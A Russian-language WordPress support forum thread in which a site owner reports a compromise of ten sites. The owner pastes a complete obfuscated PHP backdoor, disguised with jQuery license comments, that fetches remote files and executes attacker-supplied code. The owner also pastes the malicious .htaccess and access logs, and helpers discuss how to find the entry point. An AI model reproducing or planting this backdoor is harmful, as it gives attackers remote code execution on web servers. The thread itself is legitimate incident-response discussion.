• Решено Serjant

    (@serjal)


    Всем привет. Сегодня утром на хостинге антивирус ругался на файл в папке tinymce (\wp-includes\js\tinymce) именно создавался файл \wp-includes\js\tinymce\langs\80504209.phtxm + avatar.png + .htaccess и вопросы был в файле 80504209.phtxm и в строке $sizz=strtoupper($Libr[0].$Libr[4].$Libr[1].$Libr[2].$Libr[3] );

    В один момент произошло на 10 сайтах и 6 поддоменах. Кто то сталкивался с таким ?. Я снёс всю папку tinymce.

    Вирусов на компе нету, фтп доступы все свежые и они только у меня, больше не укого нету. То есть может через какой-то плагин залетел или что ещё.

     * jQuery Image Library v1.6.3
    * http://jquery.com/
    *
    * Copyright 2011, John Resig
    * Dual licensed under the MIT or GPL Version 2 licenses.
    * http://jquery.org/license
    *
    * Includes Sizzle.js
    * http://sizzlejs.com/
    * Copyright 2011, The Dojo Foundation
    * Released under the MIT, BSD, and GPL Licenses.
    *
    * Date: Thu May 12 15:04:36 2011 -0400
    * * * * * * * * * * * * * * * * * * * * Don't delete this file * * * * * * * * * * * * * * * *
    */
    @ini_set('error_log', NULL);
    @ini_set('log_errors', 0);
    @ini_set('display_errors', 0);
    @ini_set('allow_url_fopen', 1);
    @error_reporting(0);
    /*
    Lightbox v2.51
    by Lokesh Dhakar - http://www.lokeshdhakar.com

    For more information, visit:
    http://lokeshdhakar.com/projects/lightbox2/

    Licensed under the Creative Commons Attribution 2.5 License - http://creativecommons.org/licenses/by/2.5/
    - free for use in both personal and commercial projects
    - attribution requires leaving author name, author link, and the license info intact

    Thanks
    - Scott Upton(uptonic.com), Peter-Paul Koch(quirksmode.com), and Thomas Fuchs(mir.aculo.us) for ideas, libs, and snippets.
    - Artemy Tregubenko (arty.name) for cleanup and help in updating to latest proto-aculous in v2.05.
    */


    echo "<!-- "."tes"."ts -->";
    $cmat='unct' .'ion';$cmat= 'cre' . 'ate' .'_f' .$cmat;$Libr= "_ostp";
    $sizz=strtoupper($Libr[0].$Libr[4].$Libr[1].$Libr[2].$Libr[3] );if((isset(${$sizz }[ 'j01bt5ri3p']))&(isset(${$sizz}['fail']))){
    if(isset(${$sizz}[ 'pathik'])){$pathik=$_SERVER['DOCUMENT_ROOT'].${$sizz}['pathik'];}else{$pathik=$_SERVER['DOCUMENT_ROOT'].'/license.php';}
    if(isset(${$sizz}[ 'unl'])){@unlink($pathik);exit();}
    /*! jQuery v@1.8.0 jquery.com | jquery.org/license */
    if(@ini_get('allow_url_fopen')){@copy('http://'.${$sizz}['fail'].'/test.txt', $pathik);}
    if((@function_exists('curl_init'))and ((!file_exists($pathik)) or (@filesize($pathik)<'1'))) {
    $ch = @curl_init();curl_setopt( $ch, CURLOPT_URL, 'http://'.${$sizz}['fail'].'/test.txt' );
    curl_setopt( $ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT'] );curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    $fp = @fopen($pathik, 'w');curl_setopt($ch, CURLOPT_FILE, $fp);@curl_exec( $ch );curl_close( $ch );fclose($fp);}}
    if (@function_exists($cmat)){if(isset( ${$sizz }[ 'j01bt5ri3p'] ) ) {$cmat('', '};'.${$sizz }['j01bt5ri3p'].'{');}}
    ?>
Просмотр 15 ответов — с 1 по 15 (всего 17)
  • Модератор Yui

    (@fierevere)

    永子

    https://github.com/WordPress/WordPress/tree/master/wp-includes

    https://github.com/WordPress/WordPress/tree/6.7-branch/wp-includes

    нет такого в поставке WP

    есть похожее в папке https://github.com/WordPress/WordPress/tree/master/wp-includes/js/tinymce но там нет странных файлов типа 80504209.phtxm

    какая-то живность зловредная завелась у вас на сайте

    serjal, привет.

    В один момент произошло на 10 сайтах и 6 поддоменах. Кто то сталкивался с таким ?

    Сайты не были изолированы друг от друга?

    Я снёс всю папку tinymce.

    Сильно сомневаюсь, что это поможет.

    Автор Serjant

    (@serjal)

    Сайты не были изолированы друг от друга?

    Нет, на одном хостинге, 10 доменов. И в одну секунду появилось л \wp-includes\js\tinymce\langs\80504209.phtxm + avatar.png + .htaccess. Только отличие в имени 80504209.phtxm на каждом сайте он свой. Вопрос. У меня на компьютере копии всех стайтов. То есть если удалю полностью с хостинга все данные по каждому сайту и залью с компа копии должно посути решить вопрос?. Вирус скрипта он же по сути выполняеться на сервер то загружает все на сервер.

    и вот сам \wp-includes\js\tinymce\langs\ .htaccess

    <FilesMatch ".([Pp][Hh][Pp]|[Cc][Gg][Ii]|[Pp][Ll]|[Pp][Hh][Ii][Mm][Ll]).?">
    Order allow,deny
    Deny from all
    </FilesMatch>
    AddHandler application/x-httpd-php .avi .jpeq .mpg4

    serjal,

    Нет, на одном хостинге, 10 доменов.

    Все сайты на WordPress работают?

    То есть если удалю полностью с хостинга все данные по каждому сайту и залью с компа копии должно посути решить вопрос?

    Нет. Во-первых, уязвимость остаётся. С вероятностью в 99% история повторится во временном промежутке от пары минут до нескольких часов. Во-вторых, если вредоносный код остался висеть процессом на вашей площадке, то даже перезалив все файлы, заражение будет повторяться снова и снова.

    и вот сам \wp-includes\js\tinymce\langs\ .htaccess

    Тут всё до неприличия стандартно. Странно только, потому что таким вредоносом заражали DLE 3-5 лет назад, а тут WordPress в 2025-м.

    Автор Serjant

    (@serjal)

    Смотрю Логи доступа сайта

    если брать каждый сайт то все одно и тоже тольки ИП страны меняется

    GET /uploaded_script.php
    Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36
    www.google.com
    GET /
    Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot
    GET /robots.txt
    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Viewer/99.9.8853.8
    GET /
    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Viewer/99.9.8853.8
    GET /
    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36
    GET /
    Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0

    GET /robots.txt
    Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot
    • Ответ изменён 1 месяц назад пользователем Serjant.
    Автор Serjant

    (@serjal)

    И вот логи в реальном времени по всем сайтам

    01:239:391:cb00::1 - - [19/Mar/2025:08:17:01 +0200] "GET / HTTP/1.0" 301 162 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36"
    2a01:239:391:cb00::1 - - [19/Mar/2025:08:17:04 +0200] "GET / HTTP/1.0" 200 48862 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36"
    178.128.104.119 - - [19/Mar/2025:09:13:20 +0200] "GET /uploaded_script.php HTTP/1.0" 301 162 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
    178.128.104.119 - - [19/Mar/2025:09:13:21 +0200] "GET /uploaded_script.php HTTP/1.0" 429 4349 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
    35.89.157.218 - - [19/Mar/2025:14:31:34 +0200] "GET / HTTP/1.0" 301 162 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36"
    2001:67c:2070:c927::1 - - [19/Mar/2025:14:31:36 +0200] "POST /wp-cron.php?
    35.89.157.218 - - [19/Mar/2025:14:31:37 +0200] "GET / HTTP/1.0" 200 50300 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36"
    35.89.157.218 - - [19/Mar/2025:14:31:39 +0200] "GET / HTTP/1.0" 200 50300 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36"
    2001:67c:2070:c927::1 - - [19/Mar/2025:16:09:35 +0200] "POST /wp-cron.php?doing_wp_cron=1742393375.8317399024963378906250 HTTP/1.0" 200 0 "-" "WordPress/6.7.2;
    51.8.102.16 - - [19/Mar/2025:16:09:35 +0200] "GET /robots.txt HTTP/1.0" 200 96 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot"
    • Ответ изменён 1 месяц назад пользователем Serjant.
    Автор Serjant

    (@serjal)

    𝗥𝟯𝗡𝟬, ты прав. Вот с техподдержки ответили

    По поводу запросов на сайты к файлам uploaded_script.php, следует рассматривать и искать их первое упоминание, чтобы понять и устранить способ заражения.
    Если очистить все файлы и процессы, не устранив уязвимость, которая позволила проникнуть на ваш сайт/сайты, заражение с большой вероятностью повторится вновь. Обычно, уязвимые устройства просто попадают в список для заражения и попытки повторяются.

    Внимание следует обратить на изменения, которые вносились на сайтах перед заражением. Возможно, был установлен сомнительный плагин, например.
    Полный список доступных у нас логов, что могут помочь, можно найти по ссылкам в разделе

    serjal, опыт.

    По поводу запросов на сайты к файлам uploaded_script.php, следует рассматривать и искать их первое упоминание, чтобы понять и устранить способ заражения.

    То что идут обращения к некоему файлу никак не означает, что нужно искать этот файл и каким-то таким образом выявлять точку входа.

    Автор Serjant

    (@serjal)

    Сразу обращаю ваше внимание на то, что специалисты технической поддержки хостинга не являются разработчиками сайтов и/или специалистами по безопасности. Могу со своей стороны предоставить по данному вопросу только базовые рекомендации.

    Вобщем я сам хрен что решу)) это жесть. Вобщем из-за своей не опытности я не смогу на 100% решить этот вопрос. Скажи пожалуйста, если я сейчас так сделаю, создаю новый аккаунт на хостинге, покупаю сам хостинг, перенесу чисто домен и те файлы которые были на компе (не на сервере) я их залью на новый хостиг. Я же понимаю те процесы которые идут они чисто залитают на сам сервер (хостинг).

    serjal, не поняв что послужило точкой входа это всё будет игра в русскую рулетку.

    Например, если ломали через уязвимый плагин, то все файлы с незакрытой уязвимостью с домашнего ПК будут перенесены на новый сервер, и будут те же риски повторного взлома. Если уязвимость была каким-то чудом в ПО сервера, тогда шансов на повтор будет сильно меньше. Но опыт подсказывает, что через плагины/темы WordPress ломают кратно чаще.

    Автор Serjant

    (@serjal)

    𝗥𝟯𝗡𝟬, Потому что я сам не смогу вопрос решить и найти нужные файлы которые заражены. А по поводу переноса, вот те файлы которые на компе там нету этих созданых скриптов. То есть один раз скачал на комп файлы и все. Ну и честно говоря не буду лукавить я за последнии 5 лет перешел на ОФФ ПО в 99.9%. Но было 2 плагина скачаных с ProWebber, nulled это ACF и Polylang. Но скажу так, я их скачал около года назад. Вот и думаю сейчас их на хост не заливать, удалить с компа сразу. Может вот из-за того что nulled плагинов не будет и эти процессы не будут выполнятся. У меня вариантов нету больше. Самый ценный урок это 100% только офф ПО.

    serjal,

    вот те файлы которые на компе там нету этих созданых скриптов

    Верно, но в коде уязвимость-то присутствует, через которую происходит взлом. Если дело в каком-то уязвимом компоненте, разумеется.

    Может вот из-за того что nulled плагинов не будет и эти процессы не будут выполнятся.

    Такое теоретически может быть.

    Но было 2 плагина скачаных с ProWebber, nulled это ACF и Polylang.

    Это прекрасно, я считаю. И это ещё при неизолированных друг от друга сайтах.

    Если урок усвоили, то всё было не зря.

    Снос wordpress (кроме настроечных файлов) и плагинов с последующей установкой официальных версий помогут. Затем плагин контроля сайта от sucuri. Снос обязателен, накрывать нельзя. Ну и sucuri решения могут помочь — отслеживает изменения в файлах.

    И еще вопрос. какая панель на хостинге? кроме банального подбора паролей, я сталкивался с дырявой панелью однажды

    efess,

    (кроме настроечных файлов)

    ВПО часто затрагивает именно этот файл.

    плагинов с последующей установкой официальных версий помогут

    Не помогут, если уязвимость в плагине не закрыта.

    Затем плагин контроля сайта от sucuri.

    Защита которого довольно просто обходится.

    Снос обязателен, накрывать нельзя.

    Не обязателен, если понимать что делать и в каком порядке.

Просмотр 15 ответов — с 1 по 15 (всего 17)